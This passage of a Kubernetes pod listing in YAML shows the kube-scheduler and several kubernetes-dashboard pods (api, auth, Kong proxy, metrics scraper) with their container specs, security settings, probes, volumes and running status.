    namespace: kube-system
    ownerReferences:
    - apiVersion: v1
      controller: true
      kind: Node
      name: k8s-m-3
      uid: e9941774-8efa-42ec-abc7-595360d866d1
    resourceVersion: "18045922"
    uid: 2ba8e35d-3061-4cbb-b12f-c1c6c0c29cb9
  spec:
    containers:
    - command:
      - kube-scheduler
      - --authentication-kubeconfig=/etc/kubernetes/scheduler.conf
      - --authorization-kubeconfig=/etc/kubernetes/scheduler.conf
      - --bind-address=127.0.0.1
      - --kubeconfig=/etc/kubernetes/scheduler.conf
      - --leader-elect=true
      image: registry.k8s.io/kube-scheduler:v1.33.5
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 8
        httpGet:
          host: 127.0.0.1
          path: /livez
          port: 10259
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      name: kube-scheduler
      readinessProbe:
        failureThreshold: 3
        httpGet:
          host: 127.0.0.1
          path: /readyz
          port: 10259
          scheme: HTTPS
        periodSeconds: 1
        successThreshold: 1
        timeoutSeconds: 15
      resources:
        requests:
          cpu: 100m
      startupProbe:
        failureThreshold: 24
        httpGet:
          host: 127.0.0.1
          path: /livez
          port: 10259
          scheme: HTTPS
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/kubernetes/scheduler.conf
        name: kubeconfig
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-3
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      seccompProfile:
        type: RuntimeDefault
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      operator: Exists
    volumes:
    - hostPath:
        path: /etc/kubernetes/scheduler.conf
        type: FileOrCreate
      name: kubeconfig
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:26Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:24Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:24Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
      containerID: containerd://eb2cf78a71e04d0feecf47bb6a24893167d082e7236a977665fb80a7b079fddc
      image: registry.k8s.io/kube-scheduler:v1.33.5
      imageID: registry.k8s.io/kube-scheduler@sha256:3e7b57c9d9f06b77f0064e5be7f3df61e0151101160acd5fdecce911df28a189
      lastState:
        terminated:
          containerID: containerd://393af42a879068105385dd35e9873651930977c73bfe44c20db271ed5614b700
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:06Z"
      name: kube-scheduler
      ready: true
      resources:
        requests:
          cpu: 100m
      restartCount: 9
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:24:26Z"
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 172.16.30.18
    podIPs:
    - ip: 172.16.30.18
    qosClass: Burstable
    startTime: "2025-11-29T14:24:24Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/config: c42aa2a6a5dd01a706e646a269c5f9162601883a72834abc74680250e8dd1fbd
      cni.projectcalico.org/containerID: e9fa95803795365472a24ff031acc2583005b1b9f75be1e4bffb7945b1ff472c
      cni.projectcalico.org/podIP: 192.168.61.225/32
      cni.projectcalico.org/podIPs: 192.168.61.225/32
    creationTimestamp: "2025-10-18T01:08:36Z"
    generateName: kubernetes-dashboard-api-7ccd9b445f-
    generation: 1
    labels:
      app.kubernetes.io/component: api
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-api
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.13.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
      pod-template-hash: 7ccd9b445f
    name: kubernetes-dashboard-api-7ccd9b445f-vvzkr
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: kubernetes-dashboard-api-7ccd9b445f
      uid: 50c165c8-a049-450f-a094-83730776dff7
    resourceVersion: "18033503"
    uid: e89b5586-e8a2-4656-b358-677f6568fd9e
  spec:
    automountServiceAccountToken: true
    containers:
    - args:
      - --namespace=kubernetes-dashboard
      - --metrics-scraper-service-name=kubernetes-dashboard-metrics-scraper
      env:
      - name: CSRF_KEY
        valueFrom:
          secretKeyRef:
            key: private.key
            name: kubernetes-dashboard-csrf
      - name: GOMAXPROCS
        valueFrom:
          resourceFieldRef:
            divisor: "1"
            resource: limits.cpu
      - name: GOMEMLIMIT
        valueFrom:
          resourceFieldRef:
            divisor: "1"
            resource: limits.memory
      image: docker.io/kubernetesui/dashboard-api:1.13.0
      imagePullPolicy: IfNotPresent
      name: kubernetes-dashboard-api
      ports:
      - containerPort: 8000
        name: api
        protocol: TCP
      resources:
        limits:
          cpu: 250m
          memory: 400Mi
        requests:
          cpu: 100m
          memory: 200Mi
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsGroup: 2001
        runAsUser: 1001
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /tmp
        name: tmp-volume
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-8xc7j
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      runAsNonRoot: true
      seccompProfile:
        type: RuntimeDefault
    serviceAccount: kubernetes-dashboard-api
    serviceAccountName: kubernetes-dashboard-api
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: tmp-volume
    - name: kube-api-access-8xc7j
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:49Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-18T01:12:56Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:49Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:49Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-18T01:12:56Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        memory: 200Mi
      containerID: containerd://fc6717e2cff10c6f720c107d39ce3f652c589db6983d8bc0a26768ef067bb0b6
      image: docker.io/kubernetesui/dashboard-api:1.13.0
      imageID: docker.io/kubernetesui/dashboard-api@sha256:96642ed8d9e27c13afafd045fb79c67fa98887416a13d497bdad9815e313262e
      lastState:
        terminated:
          containerID: containerd://f20f1e537359b19fadc540722c0872f1c09fe0f17975f2dad567855768c0ff89
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:37:06Z"
      name: kubernetes-dashboard-api
      ready: true
      resources:
        limits:
          cpu: 250m
          memory: 400Mi
        requests:
          cpu: 100m
          memory: 200Mi
      restartCount: 5
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:48Z"
      volumeMounts:
      - mountPath: /tmp
        name: tmp-volume
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-8xc7j
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.225
    podIPs:
    - ip: 192.168.61.225
    qosClass: Burstable
    startTime: "2025-10-18T01:12:56Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/config: 52c08de2c1f5c5d6b38aed2f55d5944de0c9ed37ce0824188c50535919caa084
      cni.projectcalico.org/containerID: e3fcc2b694622da21185f8447e8ccedff4ea8e6f454aee46afe72b8d2c6fd295
      cni.projectcalico.org/podIP: 192.168.61.203/32
      cni.projectcalico.org/podIPs: 192.168.61.203/32
    creationTimestamp: "2025-11-04T00:53:29Z"
    generateName: kubernetes-dashboard-auth-6ff66ccf8d-
    generation: 1
    labels:
      app.kubernetes.io/component: auth
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-auth
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.3.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
      pod-template-hash: 6ff66ccf8d
    name: kubernetes-dashboard-auth-6ff66ccf8d-gstmd
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: kubernetes-dashboard-auth-6ff66ccf8d
      uid: d67fc797-9af4-42d6-9e27-7983cfb46659
    resourceVersion: "18033925"
    uid: 69cf41bf-5d5d-4f2b-8093-f28b727b481f
  spec:
    automountServiceAccountToken: true
    containers:
    - env:
      - name: CSRF_KEY
        valueFrom:
          secretKeyRef:
            key: private.key
            name: kubernetes-dashboard-csrf
      - name: GOMAXPROCS
        valueFrom:
          resourceFieldRef:
            divisor: "1"
            resource: limits.cpu
      - name: GOMEMLIMIT
        valueFrom:
          resourceFieldRef:
            divisor: "1"
            resource: limits.memory
      image: docker.io/kubernetesui/dashboard-auth:1.3.0
      imagePullPolicy: IfNotPresent
      name: kubernetes-dashboard-auth
      ports:
      - containerPort: 8000
        name: auth
        protocol: TCP
      resources:
        limits:
          cpu: 250m
          memory: 400Mi
        requests:
          cpu: 100m
          memory: 200Mi
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsGroup: 2001
        runAsUser: 1001
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /tmp
        name: tmp-volume
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-s88kk
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      runAsNonRoot: true
      seccompProfile:
        type: RuntimeDefault
    serviceAccount: default
    serviceAccountName: default
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: tmp-volume
    - name: kube-api-access-s88kk
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:37Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:37Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:37Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        memory: 200Mi
      containerID: containerd://0bff133bda91722ff6d0f1a8802ce5d45421feb3cf82149cb53686d598f9cf3f
      image: docker.io/kubernetesui/dashboard-auth:1.3.0
      imageID: docker.io/kubernetesui/dashboard-auth@sha256:8641c111b9d7e4d5ae502b2afc56765b624a42071ba5b612a01a108827730673
      lastState:
        terminated:
          containerID: containerd://3a9efbaebb9970dd2f73c4515ac6058949c403896072e725d591158537d484c7
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:50Z"
      name: kubernetes-dashboard-auth
      ready: true
      resources:
        limits:
          cpu: 250m
          memory: 400Mi
        requests:
          cpu: 100m
          memory: 200Mi
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:35Z"
      volumeMounts:
      - mountPath: /tmp
        name: tmp-volume
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-s88kk
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.203
    podIPs:
    - ip: 192.168.61.203
    qosClass: Burstable
    startTime: "2025-11-04T00:53:29Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 4c918e3576a941a564d0c951cef0a2a400a6c150472e5893ca78c95544d1ef9d
      cni.projectcalico.org/podIP: 192.168.133.132/32
      cni.projectcalico.org/podIPs: 192.168.133.132/32
      kuma.io/gateway: enabled
      kuma.io/service-account-token-volume: kubernetes-dashboard-kong-token
      traffic.sidecar.istio.io/includeInboundPorts: ""
    creationTimestamp: "2025-11-25T15:23:36Z"
    generateName: kubernetes-dashboard-kong-648658d45f-
    generation: 1
    labels:
      app: kubernetes-dashboard-kong
      app.kubernetes.io/component: app
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kong
      app.kubernetes.io/version: "3.8"
      helm.sh/chart: kong-2.46.0
      pod-template-hash: 648658d45f
      version: "3.8"
    name: kubernetes-dashboard-kong-648658d45f-qw2xv
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: kubernetes-dashboard-kong-648658d45f
      uid: 7f94953c-3564-4012-8e2b-881ff32442f8
    resourceVersion: "18007903"
    uid: 10d3fce7-d2f0-44e4-b6d1-ed1ac19b9a82
  spec:
    automountServiceAccountToken: false
    containers:
    - env:
      - name: KONG_ADMIN_ACCESS_LOG
        value: /dev/stdout
      - name: KONG_ADMIN_ERROR_LOG
        value: /dev/stderr
      - name: KONG_ADMIN_GUI_ACCESS_LOG
        value: /dev/stdout
      - name: KONG_ADMIN_GUI_ERROR_LOG
        value: /dev/stderr
      - name: KONG_ADMIN_LISTEN
        value: 127.0.0.1:8444 http2 ssl, [::1]:8444 http2 ssl
      - name: KONG_CLUSTER_LISTEN
        value: "off"
      - name: KONG_DATABASE
        value: "off"
      - name: KONG_DECLARATIVE_CONFIG
        value: /kong_dbless/kong.yml
      - name: KONG_DNS_ORDER
        value: LAST,A,CNAME,AAAA,SRV
      - name: KONG_LUA_PACKAGE_PATH
        value: /opt/?.lua;/opt/?/init.lua;;
      - name: KONG_NGINX_WORKER_PROCESSES
        value: "1"
      - name: KONG_PLUGINS
        value: "off"
      - name: KONG_PORTAL_API_ACCESS_LOG
        value: /dev/stdout
      - name: KONG_PORTAL_API_ERROR_LOG
        value: /dev/stderr
      - name: KONG_PORT_MAPS
        value: 443:8443
      - name: KONG_PREFIX
        value: /kong_prefix/
      - name: KONG_PROXY_ACCESS_LOG
        value: /dev/stdout
      - name: KONG_PROXY_ERROR_LOG
        value: /dev/stderr
      - name: KONG_PROXY_LISTEN
        value: 0.0.0.0:8443 http2 ssl, [::]:8443 http2 ssl
      - name: KONG_PROXY_STREAM_ACCESS_LOG
        value: /dev/stdout basic
      - name: KONG_PROXY_STREAM_ERROR_LOG
        value: /dev/stderr
      - name: KONG_ROUTER_FLAVOR
        value: traditional
      - name: KONG_STATUS_ACCESS_LOG
        value: "off"
      - name: KONG_STATUS_ERROR_LOG
        value: /dev/stderr
      - name: KONG_STATUS_LISTEN
        value: 0.0.0.0:8100, [::]:8100
      - name: KONG_STREAM_LISTEN
        value: "off"
      - name: KONG_NGINX_DAEMON
        value: "off"
      image: kong:3.8
      imagePullPolicy: IfNotPresent
      lifecycle:
        preStop:
          exec:
            command:
            - kong
            - quit
            - --wait=15
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /status
          port: status
          scheme: HTTP
        initialDelaySeconds: 5
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 5
      name: proxy
      ports:
      - containerPort: 8443
        name: proxy-tls
        protocol: TCP
      - containerPort: 8100
        name: status
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /status/ready
          port: status
          scheme: HTTP
        initialDelaySeconds: 5
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 5
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsNonRoot: true
        runAsUser: 1000
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /kong_prefix/
        name: kubernetes-dashboard-kong-prefix-dir
      - mountPath: /tmp
        name: kubernetes-dashboard-kong-tmp
      - mountPath: /kong_dbless/
        name: kong-custom-dbless-config-volume
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    initContainers:
    - command:
      - rm
      - -vrf
      - $KONG_PREFIX/pids
      env:
      - name: KONG_ADMIN_ACCESS_LOG
        value: /dev/stdout
      - name: KONG_ADMIN_ERROR_LOG
        value: /dev/stderr
      - name: KONG_ADMIN_GUI_ACCESS_LOG
        value: /dev/stdout
      - name: KONG_ADMIN_GUI_ERROR_LOG
        value: /dev/stderr
      - name: KONG_ADMIN_LISTEN
        value: 127.0.0.1:8444 http2 ssl, [::1]:8444 http2 ssl
      - name: KONG_CLUSTER_LISTEN
        value: "off"
      - name: KONG_DATABASE
        value: "off"
      - name: KONG_DECLARATIVE_CONFIG
        value: /kong_dbless/kong.yml
      - name: KONG_DNS_ORDER
        value: LAST,A,CNAME,AAAA,SRV
      - name: KONG_LUA_PACKAGE_PATH
        value: /opt/?.lua;/opt/?/init.lua;;
      - name: KONG_NGINX_WORKER_PROCESSES
        value: "1"
      - name: KONG_PLUGINS
        value: "off"
      - name: KONG_PORTAL_API_ACCESS_LOG
        value: /dev/stdout
      - name: KONG_PORTAL_API_ERROR_LOG
        value: /dev/stderr
      - name: KONG_PORT_MAPS
        value: 443:8443
      - name: KONG_PREFIX
        value: /kong_prefix/
      - name: KONG_PROXY_ACCESS_LOG
        value: /dev/stdout
      - name: KONG_PROXY_ERROR_LOG
        value: /dev/stderr
      - name: KONG_PROXY_LISTEN
        value: 0.0.0.0:8443 http2 ssl, [::]:8443 http2 ssl
      - name: KONG_PROXY_STREAM_ACCESS_LOG
        value: /dev/stdout basic
      - name: KONG_PROXY_STREAM_ERROR_LOG
        value: /dev/stderr
      - name: KONG_ROUTER_FLAVOR
        value: traditional
      - name: KONG_STATUS_ACCESS_LOG
        value: "off"
      - name: KONG_STATUS_ERROR_LOG
        value: /dev/stderr
      - name: KONG_STATUS_LISTEN
        value: 0.0.0.0:8100, [::]:8100
      - name: KONG_STREAM_LISTEN
        value: "off"
      image: kong:3.8
      imagePullPolicy: IfNotPresent
      name: clear-stale-pid
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsNonRoot: true
        runAsUser: 1000
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /kong_prefix/
        name: kubernetes-dashboard-kong-prefix-dir
      - mountPath: /tmp
        name: kubernetes-dashboard-kong-tmp
      - mountPath: /kong_dbless/
        name: kong-custom-dbless-config-volume
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: kubernetes-dashboard-kong
    serviceAccountName: kubernetes-dashboard-kong
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir:
        sizeLimit: 256Mi
      name: kubernetes-dashboard-kong-prefix-dir
    - emptyDir:
        sizeLimit: 1Gi
      name: kubernetes-dashboard-kong-tmp
    - name: kubernetes-dashboard-kong-token
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
    - configMap:
        defaultMode: 420
        name: kong-dbless-config
      name: kong-custom-dbless-config-volume
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:14Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:24:13Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:28Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:28Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:23:36Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://666f158bf67479adaa1c1f685155353dfc5d982d6cabc94639a0023c7a238f52
      image: docker.io/library/kong:3.8
      imageID: docker.io/library/kong@sha256:a9130d1843e6740a33b7ea270f4b21e8adcbb0fb3041faefc2a226c74e6f80ff
      lastState:
        terminated:
          containerID: containerd://273fde3e6bc367b7ca5e9194147aa04e962e43e1c2d7f9d407c2ee4b7293067e
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:56Z"
      name: proxy
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:15Z"
      volumeMounts:
      - mountPath: /kong_prefix/
        name: kubernetes-dashboard-kong-prefix-dir
      - mountPath: /tmp
        name: kubernetes-dashboard-kong-tmp
      - mountPath: /kong_dbless/
        name: kong-custom-dbless-config-volume
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    initContainerStatuses:
    - containerID: containerd://a94c492f41cb3ea80a9499c0581bc8d3ec0f5aa7446c52a9e142543b4cf428be
      image: docker.io/library/kong:3.8
      imageID: docker.io/library/kong@sha256:a9130d1843e6740a33b7ea270f4b21e8adcbb0fb3041faefc2a226c74e6f80ff
      lastState: {}
      name: clear-stale-pid
      ready: true
      resources: {}
      restartCount: 2
      started: false
      state:
        terminated:
          containerID: containerd://a94c492f41cb3ea80a9499c0581bc8d3ec0f5aa7446c52a9e142543b4cf428be
          exitCode: 0
          finishedAt: "2025-11-29T11:13:14Z"
          reason: Completed
          startedAt: "2025-11-29T11:13:14Z"
      volumeMounts:
      - mountPath: /kong_prefix/
        name: kubernetes-dashboard-kong-prefix-dir
      - mountPath: /tmp
        name: kubernetes-dashboard-kong-tmp
      - mountPath: /kong_dbless/
        name: kong-custom-dbless-config-volume
    phase: Running
    podIP: 192.168.133.132
    podIPs:
    - ip: 192.168.133.132
    qosClass: BestEffort
    startTime: "2025-11-25T15:23:36Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: f0efe7c931784f37c68763f68092051512107b778093cc958bbbb5d4c8cd0756
      cni.projectcalico.org/podIP: 192.168.133.179/32
      cni.projectcalico.org/podIPs: 192.168.133.179/32
    creationTimestamp: "2025-11-25T15:22:36Z"
    generateName: kubernetes-dashboard-metrics-scraper-547874fcf-
    generation: 1
    labels:
      app.kubernetes.io/component: metrics-scraper
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-metrics-scraper
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.2.2
      helm.sh/chart: kubernetes-dashboard-7.13.0
      pod-template-hash: 547874fcf
    name: kubernetes-dashboard-metrics-scraper-547874fcf-ffmdz
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: kubernetes-dashboard-metrics-scraper-547874fcf
      uid: dbfbb7b9-96ef-4387-8338-80b41cd86ea0
    resourceVersion: "18007817"
    uid: f84e9508-9995-47b4-96bc-ca838570ad7a
  spec:
    automountServiceAccountToken: true
    containers:
    - env:
      - name: GOMAXPROCS
        valueFrom:
          resourceFieldRef:
            divisor: "1"
            resource: limits.cpu
      - name: GOMEMLIMIT
        valueFrom:
          resourceFieldRef:
            divisor: "1"
            resource: limits.memory
      image: docker.io/kubernetesui/dashboard-metrics-scraper:1.2.2
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: 8000
          scheme: HTTP
        initialDelaySeconds: 30
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 30
      name: kubernetes-dashboard-metrics-scraper
      ports:
      - containerPort: 8000
        protocol: TCP
      resources:
        limits:
          cpu: 250m
          memory: 400Mi
        requests:
          cpu: 100m
          memory: 200Mi
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsGroup: 2001
        runAsUser: 1001
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /tmp
        name: tmp-volume
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-6rsg5
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      runAsNonRoot: true
      seccompProfile:
        type: RuntimeDefault
    serviceAccount: kubernetes-dashboard-metrics-scraper
    serviceAccountName: kubernetes-dashboard-metrics-scraper
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: tmp-volume
    - name: kube-api-access-6rsg5
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:17Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:36Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:17Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:17Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:36Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        memory: 200Mi
      containerID: containerd://3992016ce86889c2e48cdb7c567907c2e6b62067f2b76b523a763eb4bd672a26
      image: docker.io/kubernetesui/dashboard-metrics-scraper:1.2.2
      imageID: docker.io/kubernetesui/dashboard-metrics-scraper@sha256:5154b68252bd601cf85092b6413cb9db224af1ef89cb53009d2070dfccd30775
      lastState:
        terminated:
          containerID: containerd://8c5401107153f67be2f67259c18e382b095b91b620c387f9461b0cadef84bf99
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:08:01Z"
      name: kubernetes-dashboard-metrics-scraper
      ready: true
      resources:
        limits:
          cpu: 250m
          memory: 400Mi
        requests:
          cpu: 100m
          memory: 200Mi
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:16Z"
      volumeMounts:
      - mountPath: /tmp
        name: tmp-volume
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-6rsg5
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.179
    podIPs:
